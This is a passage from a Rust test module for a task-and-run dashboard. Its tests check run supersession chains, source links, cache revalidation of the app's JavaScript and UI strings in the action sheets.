14016 where your thumb is: {alert}"
14017 );
14018 assert!(
14019 alert.contains("z-index: 25"),
14020 "above the dock (20) and the run-actions FAB (15), so neither \
14021 buries it: {alert}"
14022 );
14023 assert!(
14024 alert.contains("var(--tap)"),
14025 "and clear of the dock and the home indicator: {alert}"
14026 );
14027 assert!(
14030 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
14031 "the FAB's column stays free: {alert}"
14032 );
14033 }
14034
14035 #[tokio::test]
14036 async fn an_older_attempt_says_what_replaced_it() {
14037 let fx = Fixture::start().await;
14038 let q = fx.queue();
14039 let runs = fx.runs();
14040 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
14041 write_run(&runs, first, RunStatus::Stalled);
14042 write_run(&runs, second, RunStatus::Blocked);
14043
14044 let mut t = Task::new(
14045 "one task".to_owned(),
14046 "do it".to_owned(),
14047 PathBuf::from("/repo"),
14048 Source::Human,
14049 );
14050 t.runs = vec![first.to_owned(), second.to_owned()];
14051 q.put(&mut t).expect("put");
14052
14053 let rows = fx.get("/api/runs").await.json();
14057 let by = |short: &str| -> Value {
14058 rows.as_array()
14059 .unwrap()
14060 .iter()
14061 .find(|r| r["short"] == short)
14062 .cloned()
14063 .unwrap_or(Value::Null)
14064 };
14065 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
14066 assert!(
14067 by("bbbb")["superseded_by"].is_null(),
14068 "the latest attempt is not superseded by anything"
14069 );
14070 assert!(APP_JS.contains("run.superseded_by"));
14072 assert!(APP_JS.contains("Superseded by"));
14073 }
14074
14075 fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
14076 let mut t = Task::new(
14077 "one task".to_owned(),
14078 "do it".to_owned(),
14079 PathBuf::from("/repo"),
14080 Source::Human,
14081 );
14082 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
14083 t.status = status;
14084 t
14085 }
14086
14087 #[test]
14088 fn source_link_picks_the_page_that_filed_the_task() {
14089 let agent = |node: &str| Source::Agent {
14090 run: "20260904-014455-ab12".to_owned(),
14091 node: node.to_owned(),
14092 };
14093 let chat = source_link(&agent("chat")).expect("chat link");
14094 assert_eq!(chat.kind, "chat");
14095 assert_eq!(chat.id, "20260904-014455-ab12");
14096 assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
14097 let run = source_link(&agent("implement")).expect("run link");
14098 assert_eq!(
14099 (run.kind, run.href.as_str()),
14100 ("run", "#/runs/20260904-014455-ab12")
14101 );
14102 assert_eq!(source_link(&Source::Human), None);
14103 assert_eq!(
14104 source_link(&Source::Issue {
14105 number: 3,
14106 repo: "o/r".to_owned()
14107 }),
14108 None
14109 );
14110 let odd = source_link(&Source::Agent {
14111 run: "a b/c".to_owned(),
14112 node: "chat".to_owned(),
14113 })
14114 .expect("link");
14115 assert_eq!(odd.href, "#/chat/a%20b%2Fc");
14116 }
14117
14118 #[test]
14119 fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
14120 assert!(
14121 !APP_JS.contains("src.node === \"chat\""),
14122 "inline href rule is back"
14123 );
14124 assert!(
14125 APP_JS.matches("sourceLinkOf(").count() >= 4,
14126 "helper must serve every page"
14127 );
14128 assert!(
14129 APP_JS.matches("openChatLink(").count() >= 3,
14130 "the run page still needs its explicit chat link"
14131 );
14132 assert!(
14133 !APP_JS.contains("const openChat = el("),
14134 "the Queue card duplicates its source label link again"
14135 );
14136 assert!(
14137 APP_JS.contains("metaKids.push(link ? el(\"a\""),
14138 "the task page must link a chat source label too"
14139 );
14140 }
14141
14142 #[test]
14143 fn task_ref_carries_the_source_link_for_a_chat_task() {
14144 let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
14145 t.source = Source::Agent {
14146 run: "20260904-014455-ab12".to_owned(),
14147 node: "chat".to_owned(),
14148 };
14149 let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
14150 let v = serde_json::to_value(&out).expect("json");
14151 assert_eq!(v["source_link"]["kind"], "chat", "{v}");
14152 assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
14153 assert_eq!(v["source_label"], t.source.label());
14154
14155 let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
14156 let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
14157 .expect("json");
14158 assert!(v["source_link"].is_null(), "{v}");
14159 }
14160
14161 #[test]
14162 fn task_view_serializes_source_link() {
14163 let mut t = Task::new(
14164 "t".to_owned(),
14165 "t".to_owned(),
14166 PathBuf::from("/repo"),
14167 Source::Agent {
14168 run: "20260901-000000-aaaa".to_owned(),
14169 node: "implement".to_owned(),
14170 },
14171 );
14172 t.runs.clear();
14173 let v = serde_json::to_value(TaskView::from(t)).expect("json");
14174 assert_eq!(v["source_link"]["kind"], "run", "{v}");
14175 assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
14176 }
14177
14178 #[tokio::test]
14179 async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
14180 let fx = Fixture::start().await;
14181 let runs = fx.runs();
14182 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
14183 write_run(&runs, old, RunStatus::Blocked);
14184 write_run(&runs, new, RunStatus::Merged);
14185 let mut t = outcome_task(&[old, new], TaskStatus::Done);
14186 fx.queue().put(&mut t).expect("put");
14187
14188 let view = fx.get(&format!("/api/runs/{old}")).await.json();
14189 let task = &view["task"];
14190 assert_eq!(task["status"], "done");
14191 assert_eq!(task["is_latest"], false);
14192 assert_eq!(task["latest"]["short"], "bbbb");
14193 assert_eq!(task["finished_by"]["id"], new);
14194 assert_eq!(task["finished_by"]["outcome"], "merged");
14195 assert_eq!(task["closed_by_hand"], false);
14196 assert_eq!(view["status"], "blocked", "the run keeps its own status");
14197 assert!(APP_JS.contains("finished_by"));
14198 assert!(APP_JS.contains("superseded by run"));
14199 }
14200
14201 #[tokio::test]
14202 async fn the_latest_run_reports_a_held_task_without_a_successor() {
14203 let fx = Fixture::start().await;
14204 let runs = fx.runs();
14205 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
14206 write_run(&runs, old, RunStatus::Stalled);
14207 write_run(&runs, new, RunStatus::Blocked);
14208 let mut t = outcome_task(&[old, new], TaskStatus::Held);
14209 fx.queue().put(&mut t).expect("put");
14210
14211 let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
14212 assert_eq!(task["status"], "held");
14213 assert_eq!(task["is_latest"], true);
14214 assert!(task["latest"].is_null());
14215 assert!(task["finished_by"].is_null());
14216 assert_eq!(task["closed_by_hand"], false);
14217 }
14218
14219 #[tokio::test]
14220 async fn a_direct_run_has_no_task_outcome() {
14221 let fx = Fixture::start().await;
14222 let runs = fx.runs();
14223 let id = "20260901-000000-aaaa";
14224 write_run(&runs, id, RunStatus::Blocked);
14225 let view = fx.get(&format!("/api/runs/{id}")).await.json();
14226 assert!(view["task"].is_null());
14227 }
14228
14229 #[test]
14230 fn task_outcome_does_not_guess_a_finishing_run() {
14231 let a = "20260901-000000-aaaa";
14232 let b = "20260901-000000-bbbb";
14233 let c = "20260901-000000-cccc";
14234 let dir = tempfile::tempdir().expect("tempdir");
14235 write_run(dir.path(), a, RunStatus::Blocked);
14236 write_run(dir.path(), b, RunStatus::VerifiedNoop);
14237 let read = |id: &str| read_run(dir.path(), id).ok();
14239 let t = outcome_task(&[a, b, c], TaskStatus::Done);
14242 let out = task_outcome(&t, a, 3, read);
14243 assert!(out.finished_by.is_none());
14244 assert!(out.closed_by_hand);
14245 let latest = out.latest.expect("latest");
14246 assert_eq!(latest.id, c);
14247 assert_eq!(latest.status, None);
14248 assert_eq!(latest.outcome, "record unreadable");
14249
14250 write_run(dir.path(), c, RunStatus::Ready);
14252 let t = outcome_task(&[a, c], TaskStatus::Done);
14253 let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
14254 assert_eq!(out.finished_by.expect("finisher").id, c);
14255 assert!(!out.closed_by_hand);
14256
14257 let t = outcome_task(&[a, b, a], TaskStatus::Held);
14259 assert!(task_outcome(&t, a, 3, read).is_latest);
14260 }
14261
14262 #[tokio::test]
14263 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
14264 let fx = Fixture::start().await;
14269 let q = fx.queue();
14270 let runs = fx.runs();
14271 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
14272 write_run(&runs, first, RunStatus::Blocked);
14273 write_run(&runs, second, RunStatus::Merged);
14274
14275 let mut t = Task::new(
14276 "one task".to_owned(),
14277 "do it".to_owned(),
14278 PathBuf::from("/repo"),
14279 Source::Human,
14280 );
14281 t.runs = vec![first.to_owned(), second.to_owned()];
14282 q.put(&mut t).expect("put");
14283
14284 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
14285 assert_eq!(earlier["superseded_by"], "dddd");
14286 assert_eq!(earlier["latest_attempt"]["id"], second);
14287 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
14288 assert_eq!(
14289 earlier["latest_attempt"]["resolved"], true,
14290 "the run that replaced it landed, so this one reads as settled"
14291 );
14292
14293 let later = fx.get(&format!("/api/runs/{second}")).await.json();
14294 assert!(
14295 later["superseded_by"].is_null(),
14296 "the latest attempt is not superseded by anything"
14297 );
14298 assert!(
14299 later["latest_attempt"].is_null(),
14300 "the latest attempt has no later attempt of its own"
14301 );
14302
14303 assert!(APP_JS.contains("run.latest_attempt"));
14310 assert!(APP_JS.contains("data-superseded"));
14311 assert!(APP_JS.contains("#/runs/${latest.id}"));
14312 }
14313
14314 #[tokio::test]
14315 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
14316 let fx = Fixture::start().await;
14322 let q = fx.queue();
14323 let runs = fx.runs();
14324 let (a, b, c) = (
14325 "20260901-000000-aaaa",
14326 "20260901-000000-bbbb",
14327 "20260901-000000-cccc",
14328 );
14329 write_run(&runs, a, RunStatus::Blocked);
14330 write_run(&runs, b, RunStatus::Blocked);
14331 write_run(&runs, c, RunStatus::Merged);
14332
14333 let mut t = Task::new(
14334 "retried twice".to_owned(),
14335 "do it".to_owned(),
14336 PathBuf::from("/repo"),
14337 Source::Human,
14338 );
14339 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
14340 q.put(&mut t).expect("put");
14341
14342 let view = fx.get(&format!("/api/runs/{a}")).await.json();
14343 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
14344 assert_eq!(
14345 view["latest_attempt"]["id"], c,
14346 "the chain's current head, not the intermediate Blocked retry"
14347 );
14348 assert_eq!(view["latest_attempt"]["resolved"], true);
14349
14350 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
14351 assert_eq!(mid["latest_attempt"]["id"], c);
14352 assert_eq!(mid["latest_attempt"]["resolved"], true);
14353 }
14354
14355 #[tokio::test]
14356 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
14357 let fx = Fixture::start().await;
14358 let q = fx.queue();
14359 let runs = fx.runs();
14360
14361 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
14364 write_run(&runs, still_blocked_a, RunStatus::Blocked);
14365 write_run(&runs, still_blocked_b, RunStatus::Blocked);
14366 let mut t1 = Task::new(
14367 "still stuck".to_owned(),
14368 "do it".to_owned(),
14369 PathBuf::from("/repo"),
14370 Source::Human,
14371 );
14372 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
14373 q.put(&mut t1).expect("put");
14374 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
14375 assert_eq!(view1["latest_attempt"]["resolved"], false);
14376 assert_eq!(view1["latest_attempt"]["status"], "blocked");
14377 assert_eq!(view1["latest_attempt"]["done"], true);
14378
14379 let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
14381 write_run(&runs, run_a, RunStatus::Blocked);
14382 write_run(&runs, run_b, RunStatus::Implementing);
14383 let mut t3 = Task::new(
14384 "retrying".to_owned(),
14385 "do it".to_owned(),
14386 PathBuf::from("/repo"),
14387 Source::Human,
14388 );
14389 t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
14390 q.put(&mut t3).expect("put");
14391 let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
14392 assert_eq!(view3["latest_attempt"]["id"], run_b);
14393 assert_eq!(view3["latest_attempt"]["resolved"], false);
14394 assert_eq!(view3["latest_attempt"]["done"], false);
14395
14396 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
14401 write_run(&runs, noop_a, RunStatus::Blocked);
14402 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
14403 let mut t2 = Task::new(
14404 "claims done".to_owned(),
14405 "do it".to_owned(),
14406 PathBuf::from("/repo"),
14407 Source::Human,
14408 );
14409 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
14410 q.put(&mut t2).expect("put");
14411 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
14412 assert_eq!(
14413 view2["latest_attempt"]["resolved"], false,
14414 "an unverified no-op claim must not read as a confirmed finish"
14415 );
14416
14417 assert!(APP_JS.contains("latest.resolved"));
14420 assert!(APP_JS.contains("successorNote(latest, inFlight)"));
14423 assert!(APP_JS.contains("Latest attempt: "));
14424 assert!(APP_JS.contains("in flight"));
14425 assert!(APP_JS.contains("not resolved"));
14426 }
14427
14428 #[tokio::test]
14429 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
14430 let fx = Fixture::start().await;
14431 let js = fx.get("/app.js").await;
14437 assert_eq!(js.status, 200);
14438 let tag = js
14439 .header("etag")
14440 .expect("an etag to revalidate against")
14441 .to_owned();
14442 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
14443 assert_eq!(
14444 js.header("cache-control"),
14445 Some("no-cache, must-revalidate"),
14446 "the phone has to ask every time"
14447 );
14448
14449 let again = fx
14452 .get_with("/app.js", &[("if-none-match", tag.as_str())])
14453 .await;
14454 assert_eq!(
14455 again.status, 304,
14456 "a deck it already has costs one round trip"
14457 );
14458 assert!(again.body.is_empty(), "304 carries no body");
14459
14460 let weak = fx
14463 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
14464 .await;
14465 assert_eq!(weak.status, 304);
14466 let stale = fx
14467 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
14468 .await;
14469 assert_eq!(stale.status, 200, "an older build must be replaced");
14470 assert!(stale.body.contains("renderRunActions"));
14471 }
14472
14473 #[test]
14474 fn the_task_detail_has_an_actions_fab_and_sheet() {
14475 assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
14476 assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
14477 assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
14478 assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
14480 assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
14481 assert!(APP_JS.contains("renderTaskActions(task);"));
14483 assert!(APP_JS.contains("renderTaskActions(null);"));
14484 let sheet = APP_JS
14486 .find("function renderTaskActions")
14487 .expect("sheet renderer");
14488 let body = &APP_JS[sheet..sheet + 3000];
14489 assert!(body.contains("changePriority("));
14490 assert!(body.contains("openTaskEdit(task)"));
14491 assert!(body.contains("renderTaskHoldBox(host"));
14492 assert!(body.contains("renderTaskDoneBox(host"));
14493 assert!(body.contains("renderTaskDeleteBox(host"));
14494 assert!(APP_JS.contains("API.priority(id)"));
14495 assert!(APP_JS.contains("API.deleteTask(id)"));
14496 assert!(APP_JS.contains("location.hash = \"#/queue\""));
14498 assert!(APP_JS.contains("$(\"task-actions-error\")"));
14500 }
14501
14502 #[test]
14503 fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
14504 let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
14505 let actions = INDEX_HTML
14506 .find("id=\"run-actions-box\"")
14507 .expect("actions box");
14508 assert!(task < actions, "the task entry comes first in the sheet");
14509 assert!(APP_JS.contains("renderRunTaskEntry"));
14510 assert!(APP_JS.contains("\"Open task \""));
14511 assert!(APP_JS.contains("started directly, no task"));
14513 assert!(APP_JS.contains("sheet-task-link"));
14514 assert!(APP_JS.contains("task-chip-link"));
14515 }
14516
14517 #[test]
14518 fn the_deck_never_sends_the_operator_to_a_terminal() {
14519 assert!(
14522 !APP_JS.contains("Run `magi fold` first"),
14523 "the deck must offer the fold, not prescribe a shell command"
14524 );
14525 assert!(APP_JS.contains("foldRun:"));
14526 assert!(APP_JS.contains("resumeRun:"));
14527 assert!(APP_JS.contains("renderRunActions"));
14528
14529 assert!(APP_JS.contains("armedFold"));
14531 assert!(APP_JS.contains("Yes, fold worktrees"));
14532
14533 assert!(APP_JS.contains("can no longer be resumed"));
14536 }
14537
14538 #[test]
14539 fn a_finished_run_explains_itself_with_its_own_last_line() {
14540 assert!(
14546 !APP_JS.contains("collapsed on agent quota"),
14547 "a stall must not be explained by a cause the deck did not check"
14548 );
14549 assert!(
14550 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
14551 "and a block must not offer a guess with an `or` in it"
14552 );
14553
14554 assert!(
14558 APP_JS.contains("setText(r.event, run.event || \"\")"),
14559 "the run's last line is rendered unconditionally"
14560 );
14561 assert!(
14562 !APP_JS.contains("moving && run.event"),
14563 "and never gated on the run still moving"
14564 );
14565
14566 assert!(APP_JS.contains("lost to quota"));
14568 }
14569
14570 #[test]
14592 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
14593 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
14594 let shapes_body_start =
14595 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
14596 let shapes_close = APP_JS[shapes_body_start..]
14597 .find("].map(")
14598 .expect("the shape list is closed by its done-computing .map(...)")
14599 + shapes_body_start;
14600 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
14601
14602 let mut shapes: Vec<(bool, String, bool)> = Vec::new();
14603 for entry in shapes_src.split('{').skip(1) {
14604 let waiting = entry.contains("waiting: true");
14605 let dead = entry.contains("live: \"dead\"");
14606 let status_at =
14607 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
14608 let status_end = entry[status_at..]
14609 .find('"')
14610 .expect("the status string is closed")
14611 + status_at;
14612 shapes.push((waiting, entry[status_at..status_end].to_string(), dead));
14613 }
14614 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
14615
14616 let done_rule_marker = "done: !";
14620 let done_rule_at = APP_JS[shapes_close..]
14621 .find(done_rule_marker)
14622 .expect("the done rule follows the shape list")
14623 + shapes_close
14624 + done_rule_marker.len();
14625 let includes_at = APP_JS[done_rule_at..]
14626 .find(".includes(shape.status)")
14627 .expect("the done rule ends in .includes(shape.status)")
14628 + done_rule_at;
14629 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
14630 .trim()
14631 .trim_start_matches('[')
14632 .trim_end_matches(']')
14633 .split(',')
14634 .map(|s| s.trim().trim_matches('"'))
14635 .filter(|s| !s.is_empty())
14636 .collect();
14637
14638 let shapes: Vec<(bool, String, bool, bool)> = shapes
14639 .into_iter()
14640 .map(|(waiting, status, dead)| {
14641 let done = !not_done.contains(&status.as_str());
14642 (waiting, status, dead, done)
14643 })
14644 .collect();
14645
14646 fn run_section(waiting: bool, status: &str, dead: bool) -> &'static str {
14650 if waiting {
14651 return "waiting";
14652 }
14653 if dead
14654 && !matches!(
14655 status,
14656 "merged"
14657 | "ready"
14658 | "stalled"
14659 | "blocked"
14660 | "failed"
14661 | "verified_noop"
14662 | "superseded"
14663 | "already_in_base"
14664 )
14665 {
14666 return "stale";
14667 }
14668 match status {
14669 "merged" | "ready" => "landed",
14670 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
14671 | "already_in_base" => "ended",
14672 _ => "flight",
14673 }
14674 }
14675
14676 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
14679 match filter_key {
14680 "active" => !done,
14681 "flight" => !done && !waiting && !dead,
14682 "stale" => !done && !waiting && dead,
14683 "waiting" => waiting,
14684 "done" => done,
14685 "all" => true,
14686 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
14687 }
14688 }
14689
14690 let compatible = |section: &str, filter_key: &str| {
14691 shapes.iter().any(|(waiting, status, dead, done)| {
14692 run_section(*waiting, status, *dead) == section
14693 && filter_matches(filter_key, *waiting, *dead, *done)
14694 })
14695 };
14696
14697 let expected = [
14702 ("waiting", [true, false, false, true, true, true]),
14703 ("stale", [true, false, true, false, false, true]),
14704 ("flight", [true, true, false, false, false, true]),
14705 ("landed", [false, false, false, false, true, true]),
14706 ("ended", [false, false, false, false, true, true]),
14707 ];
14708 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
14709
14710 for (section, wants) in expected {
14711 for (filter_key, want) in filter_keys.iter().zip(wants) {
14712 assert_eq!(
14713 compatible(section, filter_key),
14714 want,
14715 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
14716 );
14717 }
14718 }
14719
14720 assert!(
14723 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
14724 );
14725 assert!(APP_JS.contains(
14726 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
14727 ));
14728 assert!(APP_JS.contains(
14729 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
14730 ));
14731 }
14732
14733 #[tokio::test]
14734 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
14735 let dir = tempfile::tempdir().expect("tempdir");
14739 let explicit = dir.path().join("not-a-checkout");
14740 std::fs::create_dir_all(&explicit).expect("create dir");
14741 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
14742
14743 let missing = dir.path().join("does-not-exist-at-all");
14744 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
14745 }
14746}